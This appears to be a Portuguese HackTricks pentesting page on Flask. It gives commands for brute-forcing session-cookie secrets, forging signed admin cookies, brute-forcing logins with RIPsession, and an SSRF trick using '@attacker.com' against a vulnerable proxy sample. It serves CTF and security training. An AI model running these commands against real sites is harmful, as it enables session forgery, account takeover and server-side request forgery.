89 lines
2.7 KiB
Markdown

# Flask
{{#include ../../banners/hacktricks-training.md}}
**Provavelmente, se você estiver participando de um CTF, uma aplicação Flask estará relacionada a** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
## Cookies
O nome padrão da sessão do cookie é **`session`**.
### Decoder
Decodificador de cookies Flask online: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
Obtenha a primeira parte do cookie até o primeiro ponto e decodifique em Base64.
```bash
echo "ImhlbGxvIg" | base64 -d
```
O cookie também é assinado usando uma senha
### **Flask-Unsign**
Ferramenta de linha de comando para buscar, decodificar, forçar e criar cookies de sessão de uma aplicação Flask adivinhando chaves secretas.
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
#### **Decodificar Cookie**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Força Bruta**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Assinatura**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Assinatura usando versões legadas (antigas)
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Ferramenta de linha de comando para realizar brute-force em sites usando cookies criados com flask-unsign.
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi em cookie de sessão Flask com SQLmap
[**Este exemplo**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) usa a opção `eval` do sqlmap para **assinar automaticamente os payloads do sqlmap** para Flask usando um segredo conhecido.
## Proxy Flask para SSRF
[**Neste artigo**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) é explicado como o Flask permite uma solicitação começando com o caractere "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Qual é o seguinte cenário:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Poderia permitir a introdução de algo como "@attacker.com" para causar um **SSRF**.
{{#include ../../banners/hacktricks-training.md}}